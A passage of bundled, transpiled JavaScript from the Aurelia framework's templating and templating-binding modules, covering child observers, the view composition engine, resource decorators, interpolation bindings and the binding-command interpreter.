function ChildObserverBinder(selector, viewHost, property, viewModel, controller, changeHandler, all) {
this.selector = selector;
this.viewHost = viewHost;
this.property = property;
this.viewModel = viewModel;
this.controller = controller;
this.changeHandler = changeHandler in viewModel ? changeHandler : null;
this.usesShadowDOM = controller.behavior.usesShadowDOM;
this.all = all;
if (!this.usesShadowDOM && controller.view && controller.view.contentView) {
this.contentView = controller.view.contentView;
} else {
this.contentView = null;
}
}
ChildObserverBinder.prototype.matches = function matches(element) {
if (element.matches(this.selector)) {
if (this.contentView === null) {
return true;
}
var contentView = this.contentView;
var assignedSlot = element.auAssignedSlot;
if (assignedSlot && assignedSlot.projectFromAnchors) {
var anchors = assignedSlot.projectFromAnchors;
for (var _i9 = 0, _ii9 = anchors.length; _i9 < _ii9; ++_i9) {
if (anchors[_i9].auOwnerView === contentView) {
return true;
}
}
return false;
}
return element.auOwnerView === contentView;
}
return false;
};
ChildObserverBinder.prototype.bind = function bind(source) {
var viewHost = this.viewHost;
var viewModel = this.viewModel;
var observer = viewHost.__childObserver__;
if (!observer) {
observer = viewHost.__childObserver__ = _aureliaPal.DOM.createMutationObserver(onChildChange);
var options = {
childList: true,
subtree: !this.usesShadowDOM
};
observer.observe(viewHost, options);
observer.binders = [];
}
observer.binders.push(this);
if (this.usesShadowDOM) {
var current = viewHost.firstElementChild;
if (this.all) {
var items = viewModel[this.property];
if (!items) {
items = viewModel[this.property] = [];
} else {
items.length = 0;
}
while (current) {
if (this.matches(current)) {
items.push(current.au && current.au.controller ? current.au.controller.viewModel : current);
}
current = current.nextElementSibling;
}
if (this.changeHandler !== null) {
this.viewModel[this.changeHandler](noMutations);
}
} else {
while (current) {
if (this.matches(current)) {
var value = current.au && current.au.controller ? current.au.controller.viewModel : current;
this.viewModel[this.property] = value;
if (this.changeHandler !== null) {
this.viewModel[this.changeHandler](value);
}
break;
}
current = current.nextElementSibling;
}
}
}
};
ChildObserverBinder.prototype.onRemove = function onRemove(element) {
if (this.matches(element)) {
var value = element.au && element.au.controller ? element.au.controller.viewModel : element;
if (this.all) {
var items = this.viewModel[this.property] || (this.viewModel[this.property] = []);
var index = items.indexOf(value);
if (index !== -1) {
items.splice(index, 1);
}
return true;
}
return false;
}
return false;
};
ChildObserverBinder.prototype.onAdd = function onAdd(element) {
if (this.matches(element)) {
var value = element.au && element.au.controller ? element.au.controller.viewModel : element;
if (this.all) {
var items = this.viewModel[this.property] || (this.viewModel[this.property] = []);
var index = 0;
var prev = element.previousElementSibling;
while (prev) {
if (this.matches(prev)) {
index++;
}
prev = prev.previousElementSibling;
}
items.splice(index, 0, value);
return true;
}
this.viewModel[this.property] = value;
if (this.changeHandler !== null) {
this.viewModel[this.changeHandler](value);
}
}
return false;
};
ChildObserverBinder.prototype.unbind = function unbind() {
if (this.viewHost.__childObserver__) {
this.viewHost.__childObserver__.disconnect();
this.viewHost.__childObserver__ = null;
}
};
return ChildObserverBinder;
}();
function remove(viewSlot, previous) {
return Array.isArray(previous) ? viewSlot.removeMany(previous, true) : viewSlot.remove(previous, true);
}
var SwapStrategies = exports.SwapStrategies = {
before: function before(viewSlot, previous, callback) {
return previous === undefined ? callback() : callback().then(function () {
return remove(viewSlot, previous);
});
},
with: function _with(viewSlot, previous, callback) {
return previous === undefined ? callback() : Promise.all([remove(viewSlot, previous), callback()]);
},
after: function after(viewSlot, previous, callback) {
return Promise.resolve(viewSlot.removeAll(true)).then(callback);
}
};
function tryActivateViewModel(context) {
if (context.skipActivation || typeof context.viewModel.activate !== 'function') {
return Promise.resolve();
}
return context.viewModel.activate(context.model) || Promise.resolve();
}
var CompositionEngine = exports.CompositionEngine = (_dec10 = (0, _aureliaDependencyInjection.inject)(ViewEngine, ViewLocator), _dec10(_class17 = function () {
function CompositionEngine(viewEngine, viewLocator) {
this.viewEngine = viewEngine;
this.viewLocator = viewLocator;
}
CompositionEngine.prototype._swap = function _swap(context, view) {
var swapStrategy = SwapStrategies[context.swapOrder] || SwapStrategies.after;
var previousViews = context.viewSlot.children.slice();
return swapStrategy(context.viewSlot, previousViews, function () {
return Promise.resolve(context.viewSlot.add(view)).then(function () {
if (context.currentController) {
context.currentController.unbind();
}
});
}).then(function () {
if (context.compositionTransactionNotifier) {
context.compositionTransactionNotifier.done();
}
});
};
CompositionEngine.prototype._createControllerAndSwap = function _createControllerAndSwap(context) {
var _this15 = this;
return this.createController(context).then(function (controller) {
controller.automate(context.overrideContext, context.owningView);
if (context.compositionTransactionOwnershipToken) {
return context.compositionTransactionOwnershipToken.waitForCompositionComplete().then(function () {
return _this15._swap(context, controller.view);
}).then(function () {
return controller;
});
}
return _this15._swap(context, controller.view).then(function () {
return controller;
});
});
};
CompositionEngine.prototype.createController = function createController(context) {
var _this16 = this;
var childContainer = void 0;
var viewModel = void 0;
var viewModelResource = void 0;
var m = void 0;
return this.ensureViewModel(context).then(tryActivateViewModel).then(function () {
childContainer = context.childContainer;
viewModel = context.viewModel;
viewModelResource = context.viewModelResource;
m = viewModelResource.metadata;
var viewStrategy = _this16.viewLocator.getViewStrategy(context.view || viewModel);
if (context.viewResources) {
viewStrategy.makeRelativeTo(context.viewResources.viewUrl);
}
return m.load(childContainer, viewModelResource.value, null, viewStrategy, true);
}).then(function (viewFactory) {
return m.create(childContainer, BehaviorInstruction.dynamic(context.host, viewModel, viewFactory));
});
};
CompositionEngine.prototype.ensureViewModel = function ensureViewModel(context) {
var childContainer = context.childContainer = context.childContainer || context.container.createChild();
if (typeof context.viewModel === 'string') {
context.viewModel = context.viewResources ? context.viewResources.relativeToView(context.viewModel) : context.viewModel;
return this.viewEngine.importViewModelResource(context.viewModel).then(function (viewModelResource) {
childContainer.autoRegister(viewModelResource.value);
if (context.host) {
childContainer.registerInstance(_aureliaPal.DOM.Element, context.host);
}
context.viewModel = childContainer.viewModel = childContainer.get(viewModelResource.value);
context.viewModelResource = viewModelResource;
return context;
});
}
var m = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, context.viewModel.constructor);
m.elementName = m.elementName || 'dynamic-element';
m.initialize(context.container || childContainer, context.viewModel.constructor);
context.viewModelResource = { metadata: m, value: context.viewModel.constructor };
childContainer.viewModel = context.viewModel;
return Promise.resolve(context);
};
CompositionEngine.prototype.compose = function compose(context) {
var _this17 = this;
context.childContainer = context.childContainer || context.container.createChild();
context.view = this.viewLocator.getViewStrategy(context.view);
var transaction = context.childContainer.get(CompositionTransaction);
var compositionTransactionOwnershipToken = transaction.tryCapture();
if (compositionTransactionOwnershipToken) {
context.compositionTransactionOwnershipToken = compositionTransactionOwnershipToken;
} else {
context.compositionTransactionNotifier = transaction.enlist();
}
if (context.viewModel) {
return this._createControllerAndSwap(context);
} else if (context.view) {
if (context.viewResources) {
context.view.makeRelativeTo(context.viewResources.viewUrl);
}
return context.view.loadViewFactory(this.viewEngine, new ViewCompileInstruction()).then(function (viewFactory) {
var result = viewFactory.create(context.childContainer);
result.bind(context.bindingContext, context.overrideContext);
if (context.compositionTransactionOwnershipToken) {
return context.compositionTransactionOwnershipToken.waitForCompositionComplete().then(function () {
return _this17._swap(context, result);
}).then(function () {
return result;
});
}
return _this17._swap(context, result).then(function () {
return result;
});
});
} else if (context.viewSlot) {
context.viewSlot.removeAll();
if (context.compositionTransactionNotifier) {
context.compositionTransactionNotifier.done();
}
return Promise.resolve(null);
}
return Promise.resolve(null);
};
return CompositionEngine;
}()) || _class17);
var ElementConfigResource = exports.ElementConfigResource = function () {
function ElementConfigResource() {
}
ElementConfigResource.prototype.initialize = function initialize(container, target) {};
ElementConfigResource.prototype.register = function register(registry, name) {};
ElementConfigResource.prototype.load = function load(container, target) {
var config = new target();
var eventManager = container.get(_aureliaBinding.EventManager);
eventManager.registerElementConfig(config);
};
return ElementConfigResource;
}();
function validateBehaviorName(name, type) {
if (/[A-Z]/.test(name)) {
var newName = _hyphenate(name);
LogManager.getLogger('templating').warn('\'' + name + '\' is not a valid ' + type + ' name and has been converted to \'' + newName + '\'. Upper-case letters are not allowed because the DOM is not case-sensitive.');
return newName;
}
return name;
}
function resource(instance) {
return function (target) {
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, instance, target);
};
}
function behavior(override) {
return function (target) {
if (override instanceof HtmlBehaviorResource) {
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, override, target);
} else {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, target);
Object.assign(r, override);
}
};
}
function customElement(name) {
return function (target) {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, target);
r.elementName = validateBehaviorName(name, 'custom element');
};
}
function customAttribute(name, defaultBindingMode, aliases) {
return function (target) {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, target);
r.attributeName = validateBehaviorName(name, 'custom attribute');
r.attributeDefaultBindingMode = defaultBindingMode;
r.aliases = aliases;
};
}
function templateController(target) {
var deco = function deco(t) {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, t);
r.liftsContent = true;
};
return target ? deco(target) : deco;
}
function bindable(nameOrConfigOrTarget, key, descriptor) {
var deco = function deco(target, key2, descriptor2) {
var actualTarget = key2 ? target.constructor : target;
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, actualTarget);
var prop = void 0;
if (key2) {
nameOrConfigOrTarget = nameOrConfigOrTarget || {};
nameOrConfigOrTarget.name = key2;
}
prop = new BindableProperty(nameOrConfigOrTarget);
return prop.registerWith(actualTarget, r, descriptor2);
};
if (!nameOrConfigOrTarget) {
return deco;
}
if (key) {
var _target = nameOrConfigOrTarget;
nameOrConfigOrTarget = null;
return deco(_target, key, descriptor);
}
return deco;
}
function dynamicOptions(target) {
var deco = function deco(t) {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, t);
r.hasDynamicOptions = true;
};
return target ? deco(target) : deco;
}
var defaultShadowDOMOptions = { mode: 'open' };
function useShadowDOM(targetOrOptions) {
var options = typeof targetOrOptions === 'function' || !targetOrOptions ? defaultShadowDOMOptions : targetOrOptions;
var deco = function deco(t) {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, t);
r.targetShadowDOM = true;
r.shadowDOMOptions = options;
};
return typeof targetOrOptions === 'function' ? deco(targetOrOptions) : deco;
}
function processAttributes(processor) {
return function (t) {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, t);
r.processAttributes = function (compiler, resources, node, attributes, elementInstruction) {
try {
processor(compiler, resources, node, attributes, elementInstruction);
} catch (error) {
LogManager.getLogger('templating').error(error);
}
};
};
}
function doNotProcessContent() {
return false;
}
function processContent(processor) {
return function (t) {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, t);
r.processContent = processor ? function (compiler, resources, node, instruction) {
try {
return processor(compiler, resources, node, instruction);
} catch (error) {
LogManager.getLogger('templating').error(error);
return false;
}
} : doNotProcessContent;
};
}
function containerless(target) {
var deco = function deco(t) {
var r = _aureliaMetadata.metadata.getOrCreateOwn(_aureliaMetadata.metadata.resource, HtmlBehaviorResource, t);
r.containerless = true;
};
return target ? deco(target) : deco;
}
function useViewStrategy(strategy) {
return function (target) {
_aureliaMetadata.metadata.define(ViewLocator.viewStrategyMetadataKey, strategy, target);
};
}
function useView(path) {
return useViewStrategy(new RelativeViewStrategy(path));
}
function inlineView(markup, dependencies, dependencyBaseUrl) {
return useViewStrategy(new InlineViewStrategy(markup, dependencies, dependencyBaseUrl));
}
function noView(targetOrDependencies, dependencyBaseUrl) {
var target = void 0;
var dependencies = void 0;
if (typeof targetOrDependencies === 'function') {
target = targetOrDependencies;
} else {
dependencies = targetOrDependencies;
target = undefined;
}
var deco = function deco(t) {
_aureliaMetadata.metadata.define(ViewLocator.viewStrategyMetadataKey, new NoViewStrategy(dependencies, dependencyBaseUrl), t);
};
return target ? deco(target) : deco;
}
function elementConfig(target) {
var deco = function deco(t) {
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, new ElementConfigResource(), t);
};
return target ? deco(target) : deco;
}
function viewResources() {
for (var _len = arguments.length, resources = Array(_len), _key = 0; _key < _len; _key++) {
resources[_key] = arguments[_key];
}
return function (target) {
_aureliaMetadata.metadata.define(ViewEngine.viewModelRequireMetadataKey, resources, target);
};
}
var TemplatingEngine = exports.TemplatingEngine = (_dec11 = (0, _aureliaDependencyInjection.inject)(_aureliaDependencyInjection.Container, ModuleAnalyzer, ViewCompiler, CompositionEngine), _dec11(_class18 = function () {
function TemplatingEngine(container, moduleAnalyzer, viewCompiler, compositionEngine) {
this._container = container;
this._moduleAnalyzer = moduleAnalyzer;
this._viewCompiler = viewCompiler;
this._compositionEngine = compositionEngine;
container.registerInstance(Animator, Animator.instance = new Animator());
}
TemplatingEngine.prototype.configureAnimator = function configureAnimator(animator) {
this._container.unregister(Animator);
this._container.registerInstance(Animator, Animator.instance = animator);
};
TemplatingEngine.prototype.compose = function compose(context) {
return this._compositionEngine.compose(context);
};
TemplatingEngine.prototype.enhance = function enhance(instruction) {
if (instruction instanceof _aureliaPal.DOM.Element) {
instruction = { element: instruction };
}
var compilerInstructions = {};
var resources = instruction.resources || this._container.get(ViewResources);
this._viewCompiler._compileNode(instruction.element, resources, compilerInstructions, instruction.element.parentNode, 'root', true);
var factory = new ViewFactory(instruction.element, compilerInstructions, resources);
var container = instruction.container || this._container.createChild();
var view = factory.create(container, BehaviorInstruction.enhance());
view.bind(instruction.bindingContext || {}, instruction.overrideContext);
view.firstChild = view.lastChild = view.fragment;
view.fragment = _aureliaPal.DOM.createDocumentFragment();
view.attached();
return view;
};
return TemplatingEngine;
}()) || _class18);
});
define('aurelia-templating-binding',['exports', 'aurelia-logging', 'aurelia-binding', 'aurelia-templating'], function (exports, _aureliaLogging, _aureliaBinding, _aureliaTemplating) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.TemplatingBindingLanguage = exports.SyntaxInterpreter = exports.ChildInterpolationBinding = exports.InterpolationBinding = exports.InterpolationBindingExpression = exports.AttributeMap = undefined;
exports.configure = configure;
var LogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
function _possibleConstructorReturn(self, call) {
if (!self) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return call && (typeof call === "object" || typeof call === "function") ? call : self;
}
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
enumerable: false,
writable: true,
configurable: true
}
});
if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
}
var _class, _temp, _dec, _class2, _class3, _temp2, _class4, _temp3;
var AttributeMap = exports.AttributeMap = (_temp = _class = function () {
function AttributeMap(svg) {
this.elements = Object.create(null);
this.allElements = Object.create(null);
this.svg = svg;
this.registerUniversal('accesskey', 'accessKey');
this.registerUniversal('contenteditable', 'contentEditable');
this.registerUniversal('tabindex', 'tabIndex');
this.registerUniversal('textcontent', 'textContent');
this.registerUniversal('innerhtml', 'innerHTML');
this.registerUniversal('scrolltop', 'scrollTop');
this.registerUniversal('scrollleft', 'scrollLeft');
this.registerUniversal('readonly', 'readOnly');
this.register('label', 'for', 'htmlFor');
this.register('img', 'usemap', 'useMap');
this.register('input', 'maxlength', 'maxLength');
this.register('input', 'minlength', 'minLength');
this.register('input', 'formaction', 'formAction');
this.register('input', 'formenctype', 'formEncType');
this.register('input', 'formmethod', 'formMethod');
this.register('input', 'formnovalidate', 'formNoValidate');
this.register('input', 'formtarget', 'formTarget');
this.register('textarea', 'maxlength', 'maxLength');
this.register('td', 'rowspan', 'rowSpan');
this.register('td', 'colspan', 'colSpan');
this.register('th', 'rowspan', 'rowSpan');
this.register('th', 'colspan', 'colSpan');
}
AttributeMap.prototype.register = function register(elementName, attributeName, propertyName) {
elementName = elementName.toLowerCase();
attributeName = attributeName.toLowerCase();
var element = this.elements[elementName] = this.elements[elementName] || Object.create(null);
element[attributeName] = propertyName;
};
AttributeMap.prototype.registerUniversal = function registerUniversal(attributeName, propertyName) {
attributeName = attributeName.toLowerCase();
this.allElements[attributeName] = propertyName;
};
AttributeMap.prototype.map = function map(elementName, attributeName) {
if (this.svg.isStandardSvgAttribute(elementName, attributeName)) {
return attributeName;
}
elementName = elementName.toLowerCase();
attributeName = attributeName.toLowerCase();
var element = this.elements[elementName];
if (element !== undefined && attributeName in element) {
return element[attributeName];
}
if (attributeName in this.allElements) {
return this.allElements[attributeName];
}
if (/(?:^data-)|(?:^aria-)|:/.test(attributeName)) {
return attributeName;
}
return (0, _aureliaBinding.camelCase)(attributeName);
};
return AttributeMap;
}(), _class.inject = [_aureliaBinding.SVGAnalyzer], _temp);
var InterpolationBindingExpression = exports.InterpolationBindingExpression = function () {
function InterpolationBindingExpression(observerLocator, targetProperty, parts, mode, lookupFunctions, attribute) {
this.observerLocator = observerLocator;
this.targetProperty = targetProperty;
this.parts = parts;
this.mode = mode;
this.lookupFunctions = lookupFunctions;
this.attribute = this.attrToRemove = attribute;
this.discrete = false;
}
InterpolationBindingExpression.prototype.createBinding = function createBinding(target) {
if (this.parts.length === 3) {
return new ChildInterpolationBinding(target, this.observerLocator, this.parts[1], this.mode, this.lookupFunctions, this.targetProperty, this.parts[0], this.parts[2]);
}
return new InterpolationBinding(this.observerLocator, this.parts, target, this.targetProperty, this.mode, this.lookupFunctions);
};
return InterpolationBindingExpression;
}();
function validateTarget(target, propertyName) {
if (propertyName === 'style') {
LogManager.getLogger('templating-binding').info('Internet Explorer does not support interpolation in "style" attributes. Use the style attribute\'s alias, "css" instead.');
} else if (target.parentElement && target.parentElement.nodeName === 'TEXTAREA' && propertyName === 'textContent') {
throw new Error('Interpolation binding cannot be used in the content of a textarea element. Use <textarea value.bind="expression"></textarea> instead.');
}
}
var InterpolationBinding = exports.InterpolationBinding = function () {
function InterpolationBinding(observerLocator, parts, target, targetProperty, mode, lookupFunctions) {
validateTarget(target, targetProperty);
this.observerLocator = observerLocator;
this.parts = parts;
this.target = target;
this.targetProperty = targetProperty;
this.targetAccessor = observerLocator.getAccessor(target, targetProperty);
this.mode = mode;
this.lookupFunctions = lookupFunctions;
}
InterpolationBinding.prototype.interpolate = function interpolate() {
if (this.isBound) {
var value = '';
var parts = this.parts;
for (var i = 0, ii = parts.length; i < ii; i++) {
value += i % 2 === 0 ? parts[i] : this['childBinding' + i].value;
}
this.targetAccessor.setValue(value, this.target, this.targetProperty);
}
};
InterpolationBinding.prototype.updateOneTimeBindings = function updateOneTimeBindings() {
for (var i = 1, ii = this.parts.length; i < ii; i += 2) {
var child = this['childBinding' + i];
if (child.mode === _aureliaBinding.bindingMode.oneTime) {
child.call();
}
}
};
InterpolationBinding.prototype.bind = function bind(source) {
if (this.isBound) {
if (this.source === source) {
return;
}
this.unbind();
}
this.source = source;
var parts = this.parts;
for (var i = 1, ii = parts.length; i < ii; i += 2) {
var binding = new ChildInterpolationBinding(this, this.observerLocator, parts[i], this.mode, this.lookupFunctions);
binding.bind(source);
this['childBinding' + i] = binding;
}
this.isBound = true;
this.interpolate();
};
InterpolationBinding.prototype.unbind = function unbind() {
if (!this.isBound) {
return;
}
this.isBound = false;
this.source = null;
var parts = this.parts;
for (var i = 1, ii = parts.length; i < ii; i += 2) {
var name = 'childBinding' + i;
this[name].unbind();
}
};
return InterpolationBinding;
}();
var ChildInterpolationBinding = exports.ChildInterpolationBinding = (_dec = (0, _aureliaBinding.connectable)(), _dec(_class2 = function () {
function ChildInterpolationBinding(target, observerLocator, sourceExpression, mode, lookupFunctions, targetProperty, left, right) {
if (target instanceof InterpolationBinding) {
this.parent = target;
} else {
validateTarget(target, targetProperty);
this.target = target;
this.targetProperty = targetProperty;
this.targetAccessor = observerLocator.getAccessor(target, targetProperty);
}
this.observerLocator = observerLocator;
this.sourceExpression = sourceExpression;
this.mode = mode;
this.lookupFunctions = lookupFunctions;
this.left = left;
this.right = right;
}
ChildInterpolationBinding.prototype.updateTarget = function updateTarget(value) {
value = value === null || value === undefined ? '' : value.toString();
if (value !== this.value) {
this.value = value;
if (this.parent) {
this.parent.interpolate();
} else {
this.targetAccessor.setValue(this.left + value + this.right, this.target, this.targetProperty);
}
}
};
ChildInterpolationBinding.prototype.call = function call() {
if (!this.isBound) {
return;
}
this.rawValue = this.sourceExpression.evaluate(this.source, this.lookupFunctions);
this.updateTarget(this.rawValue);
if (this.mode !== _aureliaBinding.bindingMode.oneTime) {
this._version++;
this.sourceExpression.connect(this, this.source);
if (this.rawValue instanceof Array) {
this.observeArray(this.rawValue);
}
this.unobserve(false);
}
};
ChildInterpolationBinding.prototype.bind = function bind(source) {
if (this.isBound) {
if (this.source === source) {
return;
}
this.unbind();
}
this.isBound = true;
this.source = source;
var sourceExpression = this.sourceExpression;
if (sourceExpression.bind) {
sourceExpression.bind(this, source, this.lookupFunctions);
}
this.rawValue = sourceExpression.evaluate(source, this.lookupFunctions);
this.updateTarget(this.rawValue);
if (this.mode === _aureliaBinding.bindingMode.oneWay) {
(0, _aureliaBinding.enqueueBindingConnect)(this);
}
};
ChildInterpolationBinding.prototype.unbind = function unbind() {
if (!this.isBound) {
return;
}
this.isBound = false;
var sourceExpression = this.sourceExpression;
if (sourceExpression.unbind) {
sourceExpression.unbind(this, this.source);
}
this.source = null;
this.value = null;
this.rawValue = null;
this.unobserve(true);
};
ChildInterpolationBinding.prototype.connect = function connect(evaluate) {
if (!this.isBound) {
return;
}
if (evaluate) {
this.rawValue = this.sourceExpression.evaluate(this.source, this.lookupFunctions);
this.updateTarget(this.rawValue);
}
this.sourceExpression.connect(this, this.source);
if (this.rawValue instanceof Array) {
this.observeArray(this.rawValue);
}
};
return ChildInterpolationBinding;
}()) || _class2);
var SyntaxInterpreter = exports.SyntaxInterpreter = (_temp2 = _class3 = function () {
function SyntaxInterpreter(parser, observerLocator, eventManager, attributeMap) {
this.parser = parser;
this.observerLocator = observerLocator;
this.eventManager = eventManager;
this.attributeMap = attributeMap;
}
SyntaxInterpreter.prototype.interpret = function interpret(resources, element, info, existingInstruction, context) {
if (info.command in this) {
return this[info.command](resources, element, info, existingInstruction, context);
}
return this.handleUnknownCommand(resources, element, info, existingInstruction, context);
};
SyntaxInterpreter.prototype.handleUnknownCommand = function handleUnknownCommand(resources, element, info, existingInstruction, context) {
LogManager.getLogger('templating-binding').warn('Unknown binding command.', info);
return existingInstruction;
};
SyntaxInterpreter.prototype.determineDefaultBindingMode = function determineDefaultBindingMode(element, attrName, context) {
var tagName = element.tagName.toLowerCase();
if (tagName === 'input' && (attrName === 'value' || attrName === 'files') && element.type !== 'checkbox' && element.type !== 'radio' || tagName === 'input' && attrName === 'checked' && (element.type === 'checkbox' || element.type === 'radio') || (tagName === 'textarea' || tagName === 'select') && attrName === 'value' || (attrName === 'textcontent' || attrName === 'innerhtml') && element.contentEditable === 'true' || attrName === 'scrolltop' || attrName === 'scrollleft') {
return _aureliaBinding.bindingMode.twoWay;
}
if (context && attrName in context.attributes && context.attributes[attrName] && context.attributes[attrName].defaultBindingMode >= _aureliaBinding.bindingMode.oneTime) {
return context.attributes[attrName].defaultBindingMode;
}
return _aureliaBinding.bindingMode.oneWay;
};
SyntaxInterpreter.prototype.bind = function bind(resources, element, info, existingInstruction, context) {
var instruction = existingInstruction || _aureliaTemplating.BehaviorInstruction.attribute(info.attrName);
instruction.attributes[info.attrName] = new _aureliaBinding.BindingExpression(this.observerLocator, this.attributeMap.map(element.tagName, info.attrName), this.parser.parse(info.attrValue), info.defaultBindingMode || this.determineDefaultBindingMode(element, info.attrName, context), resources.lookupFunctions);
return instruction;
};
SyntaxInterpreter.prototype.trigger = function trigger(resources, element, info) {
return new _aureliaBinding.ListenerExpression(this.eventManager, info.attrName, this.parser.parse(info.attrValue), _aureliaBinding.delegationStrategy.none, true, resources.lookupFunctions);
};
SyntaxInterpreter.prototype.capture = function capture(resources, element, info) {
return new _aureliaBinding.ListenerExpression(this.eventManager, info.attrName, this.parser.parse(info.attrValue), _aureliaBinding.delegationStrategy.capturing, true, resources.lookupFunctions);
};
SyntaxInterpreter.prototype.delegate = function delegate(resources, element, info) {
return new _aureliaBinding.ListenerExpression(this.eventManager, info.attrName, this.parser.parse(info.attrValue), _aureliaBinding.delegationStrategy.bubbling, true, resources.lookupFunctions);
};
SyntaxInterpreter.prototype.call = function call(resources, element, info, existingInstruction) {
var instruction = existingInstruction || _aureliaTemplating.BehaviorInstruction.attribute(info.attrName);
instruction.attributes[info.attrName] = new _aureliaBinding.CallExpression(this.observerLocator, info.attrName, this.parser.parse(info.attrValue), resources.lookupFunctions);
return instruction;
};
SyntaxInterpreter.prototype.options = function options(resources, element, info, existingInstruction, context) {
var instruction = existingInstruction || _aureliaTemplating.BehaviorInstruction.attribute(info.attrName);
var attrValue = info.attrValue;
var language = this.language;
var name = null;
var target = '';
var current = void 0;
var i = void 0;
var ii = void 0;
var inString = false;
var inEscape = false;
var foundName = false;
for (i = 0, ii = attrValue.length; i < ii; ++i) {
current = attrValue[i];
if (current === ';' && !inString) {
if (!foundName) {
name = this._getPrimaryPropertyName(resources, context);
}
info = language.inspectAttribute(resources, '?', name, target.trim());
language.createAttributeInstruction(resources, element, info, instruction, context);
if (!instruction.attributes[info.attrName]) {
instruction.attributes[info.attrName] = info.attrValue;
}
target = '';
name = null;
} else if (current === ':' && name === null) {
foundName = true;
name = target.trim();
target = '';
} else if (current === '\\') {
target += current;
inEscape = true;
continue;
} else {
target += current;
if (name !== null && inEscape === false && current === '\'') {
inString = !inString;
}
}
inEscape = false;
}
if (!foundName) {
name = this._getPrimaryPropertyName(resources, context);
}
if (name !== null) {
info = language.inspectAttribute(resources, '?', name, target.trim());
language.createAttributeInstruction(resources, element, info, instruction, context);
if (!instruction.attributes[info.attrName]) {
instruction.attributes[info.attrName] = info.attrValue;
}
}
return instruction;
};
SyntaxInterpreter.prototype._getPrimaryPropertyName = function _getPrimaryPropertyName(resources, context) {
var type = resources.getAttribute(context.attributeName);
if (type && type.primaryProperty) {
return type.primaryProperty.name;
}
return null;
};
SyntaxInterpreter.prototype['for'] = function _for(resources, element, info, existingInstruction) {
var parts = void 0;
var keyValue = void 0;
var instruction = void 0;
var attrValue = void 0;
var isDestructuring = void 0;
attrValue = info.attrValue;
isDestructuring = attrValue.match(/^ *[[].+[\]]/);
parts = isDestructuring ? attrValue.split('of ') : attrValue.split(' of ');
if (parts.length !== 2) {
throw new Error('Incorrect syntax for "for". The form is: "$local of $items" or "[$key, $value] of $items".');
}
instruction = existingInstruction || _aureliaTemplating.BehaviorInstruction.attribute(info.attrName);
if (isDestructuring) {
keyValue = parts[0].replace(/[[\]]/g, '').replace(/,/g, ' ').replace(/\s+/g, ' ').trim().split(' ');
instruction.attributes.key = keyValue[0];
instruction.attributes.value = keyValue[1];
} else {
instruction.attributes.local = parts[0];
}
instruction.attributes.items = new _aureliaBinding.BindingExpression(this.observerLocator, 'items', this.parser.parse(parts[1]), _aureliaBinding.bindingMode.oneWay, resources.lookupFunctions);
return instruction;
};
SyntaxInterpreter.prototype['two-way'] = function twoWay(resources, element, info, existingInstruction) {
var instruction = existingInstruction || _aureliaTemplating.BehaviorInstruction.attribute(info.attrName);
instruction.attributes[info.attrName] = new _aureliaBinding.BindingExpression(this.observerLocator, this.attributeMap.map(element.tagName, info.attrName), this.parser.parse(info.attrValue), _aureliaBinding.bindingMode.twoWay, resources.lookupFunctions);
return instruction;
};
SyntaxInterpreter.prototype['one-way'] = function oneWay(resources, element, info, existingInstruction) {
var instruction = existingInstruction || _aureliaTemplating.BehaviorInstruction.attribute(info.attrName);
instruction.attributes[info.attrName] = new _aureliaBinding.BindingExpression(this.observerLocator, this.attributeMap.map(element.tagName, info.attrName), this.parser.parse(info.attrValue), _aureliaBinding.bindingMode.oneWay, resources.lookupFunctions);
return instruction;
};
SyntaxInterpreter.prototype['one-time'] = function oneTime(resources, element, info, existingInstruction) {
var instruction = existingInstruction || _aureliaTemplating.BehaviorInstruction.attribute(info.attrName);
instruction.attributes[info.attrName] = new _aureliaBinding.BindingExpression(this.observerLocator, this.attributeMap.map(element.tagName, info.attrName), this.parser.parse(info.attrValue), _aureliaBinding.bindingMode.oneTime, resources.lookupFunctions);
return instruction;
};
return SyntaxInterpreter;
}(), _class3.inject = [_aureliaBinding.Parser, _aureliaBinding.ObserverLocator, _aureliaBinding.EventManager, AttributeMap], _temp2);
var info = {};
var TemplatingBindingLanguage = exports.TemplatingBindingLanguage = (_temp3 = _class4 = function (_BindingLanguage) {
_inherits(TemplatingBindingLanguage, _BindingLanguage);
function TemplatingBindingLanguage(parser, observerLocator, syntaxInterpreter, attributeMap) {
var _this = _possibleConstructorReturn(this, _BindingLanguage.call(this));
_this.parser = parser;
_this.observerLocator = observerLocator;
_this.syntaxInterpreter = syntaxInterpreter;
_this.emptyStringExpression = _this.parser.parse('\'\'');
syntaxInterpreter.language = _this;
_this.attributeMap = attributeMap;
return _this;
}
